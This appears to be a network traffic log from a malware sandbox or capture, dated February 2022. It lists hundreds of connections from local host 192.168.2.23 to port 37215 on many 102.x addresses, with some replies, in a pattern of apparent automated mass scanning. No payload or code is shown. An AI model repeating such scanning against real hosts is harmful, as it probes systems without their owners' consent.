Feb 20, 2022 15:50:59.755779028 CET	1386	37215	192.168.2.23	102.90.154.2
Feb 20, 2022 15:50:59.755820036 CET	1386	37215	192.168.2.23	102.140.221.61
Feb 20, 2022 15:50:59.755820990 CET	1386	37215	192.168.2.23	102.109.96.221
Feb 20, 2022 15:50:59.755853891 CET	1386	37215	192.168.2.23	102.100.148.2
Feb 20, 2022 15:50:59.755861044 CET	1386	37215	192.168.2.23	102.57.33.45
Feb 20, 2022 15:50:59.755878925 CET	1386	37215	192.168.2.23	102.100.109.115
Feb 20, 2022 15:50:59.755901098 CET	1386	37215	192.168.2.23	102.91.1.244
Feb 20, 2022 15:50:59.755919933 CET	1386	37215	192.168.2.23	102.133.74.241
Feb 20, 2022 15:50:59.755960941 CET	1386	37215	192.168.2.23	102.0.90.54
Feb 20, 2022 15:50:59.755963087 CET	1386	37215	192.168.2.23	102.230.156.152
Feb 20, 2022 15:50:59.756000996 CET	1386	37215	192.168.2.23	102.148.249.114
Feb 20, 2022 15:50:59.756019115 CET	1386	37215	192.168.2.23	102.144.203.206
Feb 20, 2022 15:50:59.756021023 CET	1386	37215	192.168.2.23	102.194.233.142
Feb 20, 2022 15:50:59.756046057 CET	1386	37215	192.168.2.23	102.53.85.154
Feb 20, 2022 15:50:59.756082058 CET	1386	37215	192.168.2.23	102.46.127.95
Feb 20, 2022 15:50:59.756083965 CET	1386	37215	192.168.2.23	102.78.16.223
Feb 20, 2022 15:50:59.756134987 CET	1386	37215	192.168.2.23	102.34.37.191
Feb 20, 2022 15:50:59.756174088 CET	1386	37215	192.168.2.23	102.206.40.35
Feb 20, 2022 15:50:59.756176949 CET	1386	37215	192.168.2.23	102.90.100.158
Feb 20, 2022 15:50:59.756192923 CET	1386	37215	192.168.2.23	102.198.175.65
Feb 20, 2022 15:50:59.756200075 CET	1386	37215	192.168.2.23	102.153.194.31
Feb 20, 2022 15:50:59.756216049 CET	1386	37215	192.168.2.23	102.84.222.142
Feb 20, 2022 15:50:59.756232977 CET	1386	37215	192.168.2.23	102.15.173.173
Feb 20, 2022 15:50:59.756283998 CET	1386	37215	192.168.2.23	102.225.206.107
Feb 20, 2022 15:50:59.756289005 CET	1386	37215	192.168.2.23	102.108.98.70
Feb 20, 2022 15:50:59.756302118 CET	1386	37215	192.168.2.23	102.91.39.58
Feb 20, 2022 15:50:59.756309986 CET	1386	37215	192.168.2.23	102.173.222.68
Feb 20, 2022 15:50:59.756360054 CET	1386	37215	192.168.2.23	102.255.63.213
Feb 20, 2022 15:50:59.756360054 CET	1386	37215	192.168.2.23	102.98.212.13
Feb 20, 2022 15:50:59.756377935 CET	1386	37215	192.168.2.23	102.199.97.225
Feb 20, 2022 15:50:59.756377935 CET	1386	37215	192.168.2.23	102.213.231.116
Feb 20, 2022 15:50:59.756417990 CET	1386	37215	192.168.2.23	102.7.177.198
Feb 20, 2022 15:50:59.756426096 CET	1386	37215	192.168.2.23	102.150.19.177
Feb 20, 2022 15:50:59.756437063 CET	1386	37215	192.168.2.23	102.138.204.33
Feb 20, 2022 15:50:59.756458998 CET	1386	37215	192.168.2.23	102.118.126.78
Feb 20, 2022 15:50:59.756490946 CET	1386	37215	192.168.2.23	102.29.9.66
Feb 20, 2022 15:50:59.756515026 CET	1386	37215	192.168.2.23	102.139.232.246
Feb 20, 2022 15:50:59.756536007 CET	1386	37215	192.168.2.23	102.137.12.4
Feb 20, 2022 15:50:59.756556988 CET	1386	37215	192.168.2.23	102.28.95.189
Feb 20, 2022 15:50:59.756556988 CET	1386	37215	192.168.2.23	102.188.71.196
Feb 20, 2022 15:50:59.756576061 CET	1386	37215	192.168.2.23	102.105.15.232
Feb 20, 2022 15:50:59.756601095 CET	1386	37215	192.168.2.23	102.145.189.68
Feb 20, 2022 15:50:59.756628036 CET	1386	37215	192.168.2.23	102.189.38.73
Feb 20, 2022 15:50:59.756634951 CET	1386	37215	192.168.2.23	102.103.21.228
Feb 20, 2022 15:50:59.756680012 CET	1386	37215	192.168.2.23	102.174.218.230
Feb 20, 2022 15:50:59.756681919 CET	1386	37215	192.168.2.23	102.218.170.142
Feb 20, 2022 15:50:59.756701946 CET	1386	37215	192.168.2.23	102.160.176.85
Feb 20, 2022 15:50:59.756737947 CET	1386	37215	192.168.2.23	102.101.124.251
Feb 20, 2022 15:50:59.756763935 CET	1386	37215	192.168.2.23	102.175.151.13
Feb 20, 2022 15:50:59.756798029 CET	1386	37215	192.168.2.23	102.240.93.26
Feb 20, 2022 15:50:59.756798029 CET	1386	37215	192.168.2.23	102.213.2.124
Feb 20, 2022 15:50:59.756814003 CET	1386	37215	192.168.2.23	102.144.69.34
Feb 20, 2022 15:50:59.756814957 CET	1386	37215	192.168.2.23	102.73.9.225
Feb 20, 2022 15:50:59.756839991 CET	1386	37215	192.168.2.23	102.119.89.100
Feb 20, 2022 15:50:59.756877899 CET	1386	37215	192.168.2.23	102.230.90.199
Feb 20, 2022 15:50:59.756895065 CET	1386	37215	192.168.2.23	102.145.3.191
Feb 20, 2022 15:50:59.756920099 CET	1386	37215	192.168.2.23	102.177.150.99
Feb 20, 2022 15:50:59.756947041 CET	1386	37215	192.168.2.23	102.172.89.131
Feb 20, 2022 15:50:59.756963968 CET	1386	37215	192.168.2.23	102.5.88.179
Feb 20, 2022 15:50:59.756967068 CET	1386	37215	192.168.2.23	102.170.51.119
Feb 20, 2022 15:50:59.757009983 CET	1386	37215	192.168.2.23	102.29.71.175
Feb 20, 2022 15:50:59.757020950 CET	1386	37215	192.168.2.23	102.139.26.118
Feb 20, 2022 15:50:59.757023096 CET	1386	37215	192.168.2.23	102.202.128.59
Feb 20, 2022 15:50:59.757046938 CET	1386	37215	192.168.2.23	102.92.63.219
Feb 20, 2022 15:50:59.757077932 CET	1386	37215	192.168.2.23	102.186.218.181
Feb 20, 2022 15:50:59.757108927 CET	1386	37215	192.168.2.23	102.26.243.82
Feb 20, 2022 15:50:59.757112026 CET	1386	37215	192.168.2.23	102.54.236.210
Feb 20, 2022 15:50:59.757139921 CET	1386	37215	192.168.2.23	102.101.25.135
Feb 20, 2022 15:50:59.757162094 CET	1386	37215	192.168.2.23	102.251.124.96
Feb 20, 2022 15:50:59.757173061 CET	1386	37215	192.168.2.23	102.75.49.160
Feb 20, 2022 15:50:59.757189989 CET	1386	37215	192.168.2.23	102.134.211.251
Feb 20, 2022 15:50:59.757221937 CET	1386	37215	192.168.2.23	102.219.59.211
Feb 20, 2022 15:50:59.757225037 CET	1386	37215	192.168.2.23	102.108.180.113
Feb 20, 2022 15:50:59.757256985 CET	1386	37215	192.168.2.23	102.177.91.177
Feb 20, 2022 15:50:59.757283926 CET	1386	37215	192.168.2.23	102.75.225.196
Feb 20, 2022 15:50:59.757285118 CET	1386	37215	192.168.2.23	102.156.6.230
Feb 20, 2022 15:50:59.757327080 CET	1386	37215	192.168.2.23	102.134.7.32
Feb 20, 2022 15:50:59.757327080 CET	1386	37215	192.168.2.23	102.164.123.117
Feb 20, 2022 15:50:59.757359982 CET	1386	37215	192.168.2.23	102.50.10.216
Feb 20, 2022 15:50:59.757368088 CET	1386	37215	192.168.2.23	102.157.60.156
Feb 20, 2022 15:50:59.757404089 CET	1386	37215	192.168.2.23	102.83.19.197
Feb 20, 2022 15:50:59.757420063 CET	1386	37215	192.168.2.23	102.102.94.229
Feb 20, 2022 15:50:59.757427931 CET	1386	37215	192.168.2.23	102.57.57.248
Feb 20, 2022 15:50:59.757448912 CET	1386	37215	192.168.2.23	102.93.62.221
Feb 20, 2022 15:50:59.757473946 CET	1386	37215	192.168.2.23	102.200.189.50
Feb 20, 2022 15:50:59.757508993 CET	1386	37215	192.168.2.23	102.18.37.247
Feb 20, 2022 15:50:59.757525921 CET	1386	37215	192.168.2.23	102.87.137.28
Feb 20, 2022 15:50:59.757527113 CET	1386	37215	192.168.2.23	102.246.144.195
Feb 20, 2022 15:50:59.757543087 CET	1386	37215	192.168.2.23	102.158.120.213
Feb 20, 2022 15:50:59.757587910 CET	1386	37215	192.168.2.23	102.239.67.41
Feb 20, 2022 15:50:59.757592916 CET	1386	37215	192.168.2.23	102.139.17.170
Feb 20, 2022 15:50:59.757606983 CET	1386	37215	192.168.2.23	102.240.135.74
Feb 20, 2022 15:50:59.757647038 CET	1386	37215	192.168.2.23	102.174.132.201
Feb 20, 2022 15:50:59.757663965 CET	1386	37215	192.168.2.23	102.213.203.135
Feb 20, 2022 15:50:59.757688046 CET	1386	37215	192.168.2.23	102.231.199.169
Feb 20, 2022 15:50:59.757688046 CET	1386	37215	192.168.2.23	102.54.84.122
Feb 20, 2022 15:50:59.757709026 CET	1386	37215	192.168.2.23	102.37.36.98
Feb 20, 2022 15:50:59.757726908 CET	1386	37215	192.168.2.23	102.33.81.125
Feb 20, 2022 15:50:59.757750034 CET	1386	37215	192.168.2.23	102.50.149.143
Feb 20, 2022 15:50:59.757770061 CET	1386	37215	192.168.2.23	102.41.184.189
Feb 20, 2022 15:50:59.757787943 CET	1386	37215	192.168.2.23	102.31.136.184
Feb 20, 2022 15:50:59.757806063 CET	1386	37215	192.168.2.23	102.111.242.7
Feb 20, 2022 15:50:59.757843971 CET	1386	37215	192.168.2.23	102.132.45.0
Feb 20, 2022 15:50:59.757855892 CET	1386	37215	192.168.2.23	102.90.73.13
Feb 20, 2022 15:50:59.757874012 CET	1386	37215	192.168.2.23	102.247.211.155
Feb 20, 2022 15:50:59.757889032 CET	1386	37215	192.168.2.23	102.218.145.202
Feb 20, 2022 15:50:59.757909060 CET	1386	37215	192.168.2.23	102.241.248.94
Feb 20, 2022 15:50:59.757927895 CET	1386	37215	192.168.2.23	102.8.211.5
Feb 20, 2022 15:50:59.757950068 CET	1386	37215	192.168.2.23	102.107.121.111
Feb 20, 2022 15:50:59.757970095 CET	1386	37215	192.168.2.23	102.85.11.46
Feb 20, 2022 15:50:59.758014917 CET	1386	37215	192.168.2.23	102.95.194.58
Feb 20, 2022 15:50:59.758052111 CET	1386	37215	192.168.2.23	102.105.192.68
Feb 20, 2022 15:50:59.758063078 CET	1386	37215	192.168.2.23	102.49.224.167
Feb 20, 2022 15:50:59.758071899 CET	1386	37215	192.168.2.23	102.233.78.222
Feb 20, 2022 15:50:59.758096933 CET	1386	37215	192.168.2.23	102.88.136.157
Feb 20, 2022 15:50:59.758097887 CET	1386	37215	192.168.2.23	102.82.231.39
Feb 20, 2022 15:50:59.758111954 CET	1386	37215	192.168.2.23	102.238.143.228
Feb 20, 2022 15:50:59.758132935 CET	1386	37215	192.168.2.23	102.230.147.249
Feb 20, 2022 15:50:59.758156061 CET	1386	37215	192.168.2.23	102.23.218.145
Feb 20, 2022 15:50:59.758188963 CET	1386	37215	192.168.2.23	102.201.242.243
Feb 20, 2022 15:50:59.758197069 CET	1386	37215	192.168.2.23	102.222.104.121
Feb 20, 2022 15:50:59.758215904 CET	1386	37215	192.168.2.23	102.209.219.23
Feb 20, 2022 15:50:59.758254051 CET	1386	37215	192.168.2.23	102.201.95.250
Feb 20, 2022 15:50:59.758268118 CET	1386	37215	192.168.2.23	102.187.8.236
Feb 20, 2022 15:50:59.758272886 CET	1386	37215	192.168.2.23	102.221.178.124
Feb 20, 2022 15:50:59.758292913 CET	1386	37215	192.168.2.23	102.209.42.235
Feb 20, 2022 15:50:59.758331060 CET	1386	37215	192.168.2.23	102.53.92.1
Feb 20, 2022 15:50:59.758332968 CET	1386	37215	192.168.2.23	102.145.12.130
Feb 20, 2022 15:50:59.758361101 CET	1386	37215	192.168.2.23	102.249.113.118
Feb 20, 2022 15:50:59.758372068 CET	1386	37215	192.168.2.23	102.71.202.11
Feb 20, 2022 15:50:59.758390903 CET	1386	37215	192.168.2.23	102.128.226.250
Feb 20, 2022 15:50:59.758413076 CET	1386	37215	192.168.2.23	102.236.210.137
Feb 20, 2022 15:50:59.758435011 CET	1386	37215	192.168.2.23	102.150.173.102
Feb 20, 2022 15:50:59.758467913 CET	1386	37215	192.168.2.23	102.227.165.244
Feb 20, 2022 15:50:59.758475065 CET	1386	37215	192.168.2.23	102.187.184.114
Feb 20, 2022 15:50:59.758496046 CET	1386	37215	192.168.2.23	102.241.174.151
Feb 20, 2022 15:50:59.758533001 CET	1386	37215	192.168.2.23	102.143.206.50
Feb 20, 2022 15:50:59.758554935 CET	1386	37215	192.168.2.23	102.226.109.30
Feb 20, 2022 15:50:59.758558989 CET	1386	37215	192.168.2.23	102.153.51.220
Feb 20, 2022 15:50:59.758569956 CET	1386	37215	192.168.2.23	102.106.14.13
Feb 20, 2022 15:50:59.758613110 CET	1386	37215	192.168.2.23	102.117.181.230
Feb 20, 2022 15:50:59.758615017 CET	1386	37215	192.168.2.23	102.139.5.15
Feb 20, 2022 15:50:59.758635044 CET	1386	37215	192.168.2.23	102.160.14.68
Feb 20, 2022 15:50:59.758656979 CET	1386	37215	192.168.2.23	102.79.234.46
Feb 20, 2022 15:50:59.758673906 CET	1386	37215	192.168.2.23	102.8.146.255
Feb 20, 2022 15:50:59.758691072 CET	1386	37215	192.168.2.23	102.45.236.6
Feb 20, 2022 15:50:59.758719921 CET	1386	37215	192.168.2.23	102.128.36.232
Feb 20, 2022 15:50:59.758738995 CET	1386	37215	192.168.2.23	102.120.144.195
Feb 20, 2022 15:50:59.758750916 CET	1386	37215	192.168.2.23	102.171.251.96
Feb 20, 2022 15:50:59.758799076 CET	1386	37215	192.168.2.23	102.44.207.49
Feb 20, 2022 15:50:59.758800030 CET	1386	37215	192.168.2.23	102.198.230.149
Feb 20, 2022 15:50:59.758826971 CET	1386	37215	192.168.2.23	102.243.197.108
Feb 20, 2022 15:50:59.758851051 CET	1386	37215	192.168.2.23	102.61.123.44
Feb 20, 2022 15:50:59.758892059 CET	1386	37215	192.168.2.23	102.111.98.64
Feb 20, 2022 15:50:59.758897066 CET	1386	37215	192.168.2.23	102.3.213.125
Feb 20, 2022 15:50:59.758913994 CET	1386	37215	192.168.2.23	102.229.3.222
Feb 20, 2022 15:50:59.758964062 CET	1386	37215	192.168.2.23	102.52.33.47
Feb 20, 2022 15:50:59.758997917 CET	1386	37215	192.168.2.23	102.65.151.20
Feb 20, 2022 15:50:59.759032965 CET	1386	37215	192.168.2.23	102.177.81.15
Feb 20, 2022 15:50:59.759047031 CET	1386	37215	192.168.2.23	102.118.211.162
Feb 20, 2022 15:50:59.759068012 CET	1386	37215	192.168.2.23	102.84.180.146
Feb 20, 2022 15:50:59.759068966 CET	1386	37215	192.168.2.23	102.44.19.237
Feb 20, 2022 15:50:59.759084940 CET	1386	37215	192.168.2.23	102.166.76.235
Feb 20, 2022 15:50:59.759114027 CET	1386	37215	192.168.2.23	102.112.0.21
Feb 20, 2022 15:50:59.759155989 CET	1386	37215	192.168.2.23	102.143.62.108
Feb 20, 2022 15:50:59.759156942 CET	1386	37215	192.168.2.23	102.28.175.22
Feb 20, 2022 15:50:59.759176016 CET	1386	37215	192.168.2.23	102.139.153.96
Feb 20, 2022 15:50:59.759203911 CET	1386	37215	192.168.2.23	102.59.23.206
Feb 20, 2022 15:50:59.759223938 CET	1386	37215	192.168.2.23	102.155.4.174
Feb 20, 2022 15:50:59.759237051 CET	1386	37215	192.168.2.23	102.3.110.236
Feb 20, 2022 15:50:59.759283066 CET	1386	37215	192.168.2.23	102.68.211.37
Feb 20, 2022 15:50:59.759285927 CET	1386	37215	192.168.2.23	102.8.161.177
Feb 20, 2022 15:50:59.759322882 CET	1386	37215	192.168.2.23	102.138.188.90
Feb 20, 2022 15:50:59.759339094 CET	1386	37215	192.168.2.23	102.212.131.172
Feb 20, 2022 15:50:59.759347916 CET	1386	37215	192.168.2.23	102.242.92.172
Feb 20, 2022 15:50:59.759365082 CET	1386	37215	192.168.2.23	102.126.14.198
Feb 20, 2022 15:50:59.759412050 CET	1386	37215	192.168.2.23	102.86.43.161
Feb 20, 2022 15:50:59.759414911 CET	1386	37215	192.168.2.23	102.18.24.164
Feb 20, 2022 15:50:59.759440899 CET	1386	37215	192.168.2.23	102.251.89.185
Feb 20, 2022 15:50:59.759475946 CET	1386	37215	192.168.2.23	102.139.156.163
Feb 20, 2022 15:50:59.759476900 CET	1386	37215	192.168.2.23	102.171.169.106
Feb 20, 2022 15:50:59.759494066 CET	1386	37215	192.168.2.23	102.208.174.133
Feb 20, 2022 15:50:59.759536028 CET	1386	37215	192.168.2.23	102.59.98.193
Feb 20, 2022 15:50:59.759542942 CET	1386	37215	192.168.2.23	102.211.86.127
Feb 20, 2022 15:50:59.759578943 CET	1386	37215	192.168.2.23	102.29.248.175
Feb 20, 2022 15:50:59.759603977 CET	1386	37215	192.168.2.23	102.210.189.188
Feb 20, 2022 15:50:59.759629011 CET	1386	37215	192.168.2.23	102.145.200.246
Feb 20, 2022 15:50:59.759635925 CET	1386	37215	192.168.2.23	102.2.131.112
Feb 20, 2022 15:50:59.759680033 CET	1386	37215	192.168.2.23	102.152.151.97
Feb 20, 2022 15:50:59.759694099 CET	1386	37215	192.168.2.23	102.88.95.225
Feb 20, 2022 15:50:59.759706020 CET	1386	37215	192.168.2.23	102.233.17.123
Feb 20, 2022 15:50:59.759743929 CET	1386	37215	192.168.2.23	102.208.3.224
Feb 20, 2022 15:50:59.759753942 CET	1386	37215	192.168.2.23	102.26.152.125
Feb 20, 2022 15:50:59.759771109 CET	1386	37215	192.168.2.23	102.57.166.239
Feb 20, 2022 15:50:59.759794950 CET	1386	37215	192.168.2.23	102.95.65.112
Feb 20, 2022 15:50:59.759828091 CET	1386	37215	192.168.2.23	102.60.88.124
Feb 20, 2022 15:50:59.759845972 CET	1386	37215	192.168.2.23	102.151.33.89
Feb 20, 2022 15:50:59.759845972 CET	1386	37215	192.168.2.23	102.156.202.16
Feb 20, 2022 15:50:59.759866953 CET	1386	37215	192.168.2.23	102.229.24.102
Feb 20, 2022 15:50:59.759902954 CET	1386	37215	192.168.2.23	102.186.144.65
Feb 20, 2022 15:50:59.759947062 CET	1386	37215	192.168.2.23	102.8.190.252
Feb 20, 2022 15:50:59.759951115 CET	1386	37215	192.168.2.23	102.87.16.253
Feb 20, 2022 15:50:59.759970903 CET	1386	37215	192.168.2.23	102.5.87.28
Feb 20, 2022 15:50:59.759979010 CET	1386	37215	192.168.2.23	102.219.220.231
Feb 20, 2022 15:50:59.760003090 CET	1386	37215	192.168.2.23	102.16.165.171
Feb 20, 2022 15:50:59.760015011 CET	1386	37215	192.168.2.23	102.156.43.110
Feb 20, 2022 15:50:59.760057926 CET	1386	37215	192.168.2.23	102.46.171.9
Feb 20, 2022 15:50:59.760060072 CET	1386	37215	192.168.2.23	102.65.21.106
Feb 20, 2022 15:50:59.760085106 CET	1386	37215	192.168.2.23	102.244.126.144
Feb 20, 2022 15:50:59.760104895 CET	1386	37215	192.168.2.23	102.72.248.95
Feb 20, 2022 15:50:59.760123014 CET	1386	37215	192.168.2.23	102.244.61.81
Feb 20, 2022 15:50:59.760152102 CET	1386	37215	192.168.2.23	102.21.95.116
Feb 20, 2022 15:50:59.760190010 CET	1386	37215	192.168.2.23	102.248.105.225
Feb 20, 2022 15:50:59.760229111 CET	1386	37215	192.168.2.23	102.108.149.91
Feb 20, 2022 15:50:59.760231972 CET	1386	37215	192.168.2.23	102.220.131.246
Feb 20, 2022 15:50:59.760271072 CET	1386	37215	192.168.2.23	102.226.236.139
Feb 20, 2022 15:50:59.760272026 CET	1386	37215	192.168.2.23	102.43.40.19
Feb 20, 2022 15:50:59.760288954 CET	1386	37215	192.168.2.23	102.154.1.211
Feb 20, 2022 15:50:59.760323048 CET	1386	37215	192.168.2.23	102.59.14.14
Feb 20, 2022 15:50:59.760330915 CET	1386	37215	192.168.2.23	102.229.250.107
Feb 20, 2022 15:50:59.760363102 CET	1386	37215	192.168.2.23	102.5.204.113
Feb 20, 2022 15:50:59.760364056 CET	1386	37215	192.168.2.23	102.46.34.239
Feb 20, 2022 15:50:59.760387897 CET	1386	37215	192.168.2.23	102.171.115.6
Feb 20, 2022 15:50:59.760401964 CET	1386	37215	192.168.2.23	102.107.19.16
Feb 20, 2022 15:50:59.760446072 CET	1386	37215	192.168.2.23	102.222.249.43
Feb 20, 2022 15:50:59.760448933 CET	1386	37215	192.168.2.23	102.210.135.178
Feb 20, 2022 15:50:59.760478973 CET	1386	37215	192.168.2.23	102.160.122.41
Feb 20, 2022 15:50:59.760485888 CET	1386	37215	192.168.2.23	102.183.147.142
Feb 20, 2022 15:50:59.760523081 CET	1386	37215	192.168.2.23	102.18.81.221
Feb 20, 2022 15:50:59.760524035 CET	1386	37215	192.168.2.23	102.93.235.104
Feb 20, 2022 15:50:59.760546923 CET	1386	37215	192.168.2.23	102.25.83.137
Feb 20, 2022 15:50:59.760570049 CET	1386	37215	192.168.2.23	102.105.98.111
Feb 20, 2022 15:50:59.760586977 CET	1386	37215	192.168.2.23	102.40.65.137
Feb 20, 2022 15:50:59.760607004 CET	1386	37215	192.168.2.23	102.93.39.47
Feb 20, 2022 15:50:59.760633945 CET	1386	37215	192.168.2.23	102.254.32.66
Feb 20, 2022 15:50:59.760662079 CET	1386	37215	192.168.2.23	102.76.51.1
Feb 20, 2022 15:50:59.760674953 CET	1386	37215	192.168.2.23	102.165.240.163
Feb 20, 2022 15:50:59.760684967 CET	1386	37215	192.168.2.23	102.234.204.192
Feb 20, 2022 15:50:59.760725021 CET	1386	37215	192.168.2.23	102.7.6.31
Feb 20, 2022 15:50:59.760725975 CET	1386	37215	192.168.2.23	102.157.38.210
Feb 20, 2022 15:50:59.760749102 CET	1386	37215	192.168.2.23	102.187.139.32
Feb 20, 2022 15:50:59.760780096 CET	1386	37215	192.168.2.23	102.29.126.211
Feb 20, 2022 15:50:59.760787964 CET	1386	37215	192.168.2.23	102.113.14.76
Feb 20, 2022 15:50:59.760817051 CET	1386	37215	192.168.2.23	102.12.203.90
Feb 20, 2022 15:50:59.760823965 CET	1386	37215	192.168.2.23	102.169.68.64
Feb 20, 2022 15:50:59.760845900 CET	1386	37215	192.168.2.23	102.224.134.161
Feb 20, 2022 15:50:59.760864973 CET	1386	37215	192.168.2.23	102.67.93.28
Feb 20, 2022 15:50:59.760889053 CET	1386	37215	192.168.2.23	102.224.245.29
Feb 20, 2022 15:50:59.760902882 CET	1386	37215	192.168.2.23	102.111.53.113
Feb 20, 2022 15:50:59.760920048 CET	1386	37215	192.168.2.23	102.118.140.82
Feb 20, 2022 15:50:59.760947943 CET	1386	37215	192.168.2.23	102.249.164.45
Feb 20, 2022 15:50:59.760971069 CET	1386	37215	192.168.2.23	102.33.166.161
Feb 20, 2022 15:50:59.760998964 CET	1386	37215	192.168.2.23	102.182.163.147
Feb 20, 2022 15:50:59.761029959 CET	1386	37215	192.168.2.23	102.61.54.212
Feb 20, 2022 15:50:59.761039972 CET	1386	37215	192.168.2.23	102.137.202.152
Feb 20, 2022 15:50:59.761048079 CET	1386	37215	192.168.2.23	102.206.106.253
Feb 20, 2022 15:50:59.761077881 CET	1386	37215	192.168.2.23	102.248.207.68
Feb 20, 2022 15:50:59.761089087 CET	1386	37215	192.168.2.23	102.195.111.45
Feb 20, 2022 15:50:59.761111975 CET	1386	37215	192.168.2.23	102.160.73.170
Feb 20, 2022 15:50:59.761138916 CET	1386	37215	192.168.2.23	102.79.253.147
Feb 20, 2022 15:50:59.761149883 CET	1386	37215	192.168.2.23	102.0.187.8
Feb 20, 2022 15:50:59.761169910 CET	1386	37215	192.168.2.23	102.42.79.123
Feb 20, 2022 15:50:59.761198997 CET	1386	37215	192.168.2.23	102.223.147.254
Feb 20, 2022 15:50:59.837264061 CET	37215	1386	102.30.106.214	192.168.2.23
Feb 20, 2022 15:50:59.850159883 CET	37215	1386	102.29.205.209	192.168.2.23
Feb 20, 2022 15:50:59.851347923 CET	37215	1386	102.26.152.125	192.168.2.23
Feb 20, 2022 15:50:59.853529930 CET	37215	1898	102.29.137.168	192.168.2.23
Feb 20, 2022 15:50:59.853571892 CET	37215	1898	102.28.206.149	192.168.2.23
Feb 20, 2022 15:50:59.855844975 CET	37215	1898	102.129.201.101	192.168.2.23
Feb 20, 2022 15:50:59.858058929 CET	37215	1386	102.153.114.116	192.168.2.23
Feb 20, 2022 15:50:59.860960007 CET	37215	1898	102.30.53.200	192.168.2.23
Feb 20, 2022 15:50:59.866319895 CET	37215	1898	102.154.179.48	192.168.2.23
Feb 20, 2022 15:50:59.876612902 CET	37215	1386	102.143.206.50	192.168.2.23
Feb 20, 2022 15:50:59.879983902 CET	37215	1386	102.30.2.75	192.168.2.23
Feb 20, 2022 15:50:59.881139040 CET	37215	1386	102.30.33.239	192.168.2.23
Feb 20, 2022 15:50:59.889290094 CET	37215	1386	102.69.147.75	192.168.2.23
Feb 20, 2022 15:50:59.899023056 CET	37215	1898	102.48.136.147	192.168.2.23
Feb 20, 2022 15:50:59.907258987 CET	37215	1386	102.165.18.81	192.168.2.23
Feb 20, 2022 15:50:59.910783052 CET	37215	1386	102.143.232.6	192.168.2.23
Feb 20, 2022 15:50:59.919874907 CET	37215	1898	102.176.161.27	192.168.2.23
Feb 20, 2022 15:50:59.923475027 CET	37215	1898	102.177.7.58	192.168.2.23
Feb 20, 2022 15:50:59.937719107 CET	37215	1386	102.143.233.198	192.168.2.23
Feb 20, 2022 15:50:59.941629887 CET	37215	1898	102.64.32.126	192.168.2.23
Feb 20, 2022 15:50:59.951021910 CET	37215	1898	102.66.102.54	192.168.2.23
Feb 20, 2022 15:50:59.953196049 CET	37215	1898	102.222.199.36	192.168.2.23
Feb 20, 2022 15:50:59.953654051 CET	37215	1898	102.134.136.10	192.168.2.23
Feb 20, 2022 15:50:59.956515074 CET	37215	1898	102.22.94.141	192.168.2.23
Feb 20, 2022 15:50:59.957766056 CET	37215	1386	102.23.145.130	192.168.2.23
Feb 20, 2022 15:50:59.966898918 CET	37215	1898	102.130.26.109	192.168.2.23
Feb 20, 2022 15:50:59.972799063 CET	37215	1386	102.30.158.109	192.168.2.23
Feb 20, 2022 15:50:59.973006964 CET	37215	1386	102.164.66.17	192.168.2.23
Feb 20, 2022 15:51:00.005017042 CET	37215	1898	102.66.174.198	192.168.2.23
Feb 20, 2022 15:51:00.056723118 CET	37215	1386	102.28.95.189	192.168.2.23
Feb 20, 2022 15:51:00.061920881 CET	37215	1898	102.97.37.70	192.168.2.23
Feb 20, 2022 15:51:00.063054085 CET	37215	1386	102.153.194.122	192.168.2.23
Feb 20, 2022 15:51:00.075946093 CET	37215	1386	102.100.229.14	192.168.2.23
Feb 20, 2022 15:51:00.112266064 CET	37215	1898	102.26.198.176	192.168.2.23
Feb 20, 2022 15:51:00.114192009 CET	37215	1898	102.163.44.17	192.168.2.23
Feb 20, 2022 15:51:00.146745920 CET	37215	1898	102.153.160.19	192.168.2.23
Feb 20, 2022 15:51:00.178982973 CET	37215	1386	102.38.194.209	192.168.2.23
Feb 20, 2022 15:51:00.240969896 CET	37215	1386	102.153.145.249	192.168.2.23
Feb 20, 2022 15:51:00.241540909 CET	37215	1386	102.30.171.179	192.168.2.23
Feb 20, 2022 15:51:00.282418013 CET	37215	1898	102.28.210.192	192.168.2.23
Feb 20, 2022 15:51:00.297409058 CET	37215	1386	102.29.71.175	192.168.2.23
Feb 20, 2022 15:51:00.332005024 CET	37215	1386	102.30.163.201	192.168.2.23
Feb 20, 2022 15:51:00.332079887 CET	37215	1386	102.30.163.201	192.168.2.23
Feb 20, 2022 15:51:00.332091093 CET	1386	37215	192.168.2.23	102.30.163.201
Feb 20, 2022 15:51:00.335011005 CET	37215	1898	102.25.179.95	192.168.2.23
Feb 20, 2022 15:51:00.339396000 CET	37215	1386	102.49.224.167	192.168.2.23
Feb 20, 2022 15:51:00.459625959 CET	37215	1898	102.155.211.137	192.168.2.23
Feb 20, 2022 15:51:00.494072914 CET	37215	1898	102.24.135.66	192.168.2.23
Feb 20, 2022 15:51:00.621110916 CET	37215	1898	102.25.64.46	192.168.2.23
Feb 20, 2022 15:51:00.670954943 CET	37215	1386	102.29.248.175	192.168.2.23
Feb 20, 2022 15:51:00.750366926 CET	1898	37215	192.168.2.23	102.117.210.177
Feb 20, 2022 15:51:00.750464916 CET	1898	37215	192.168.2.23	102.116.152.181
Feb 20, 2022 15:51:00.750497103 CET	1898	37215	192.168.2.23	102.53.235.188
Feb 20, 2022 15:51:00.750514984 CET	1898	37215	192.168.2.23	102.56.176.21
Feb 20, 2022 15:51:00.750545025 CET	1898	37215	192.168.2.23	102.207.7.85
Feb 20, 2022 15:51:00.750575066 CET	1898	37215	192.168.2.23	102.154.139.249
Feb 20, 2022 15:51:00.750586987 CET	1898	37215	192.168.2.23	102.233.193.202
Feb 20, 2022 15:51:00.750595093 CET	1898	37215	192.168.2.23	102.183.182.36
Feb 20, 2022 15:51:00.750616074 CET	1898	37215	192.168.2.23	102.117.183.230
Feb 20, 2022 15:51:00.750626087 CET	1898	37215	192.168.2.23	102.144.200.146
Feb 20, 2022 15:51:00.750699043 CET	1898	37215	192.168.2.23	102.242.5.30
Feb 20, 2022 15:51:00.750710011 CET	1898	37215	192.168.2.23	102.166.206.2
Feb 20, 2022 15:51:00.750736952 CET	1898	37215	192.168.2.23	102.183.121.59
Feb 20, 2022 15:51:00.750777960 CET	1898	37215	192.168.2.23	102.192.196.4
Feb 20, 2022 15:51:00.750818014 CET	1898	37215	192.168.2.23	102.53.82.80
Feb 20, 2022 15:51:00.750832081 CET	1898	37215	192.168.2.23	102.77.204.42
Feb 20, 2022 15:51:00.750833988 CET	1898	37215	192.168.2.23	102.191.222.124
Feb 20, 2022 15:51:00.750842094 CET	1898	37215	192.168.2.23	102.227.51.77
Feb 20, 2022 15:51:00.750849009 CET	1898	37215	192.168.2.23	102.35.119.80
Feb 20, 2022 15:51:00.750858068 CET	1898	37215	192.168.2.23	102.16.134.186
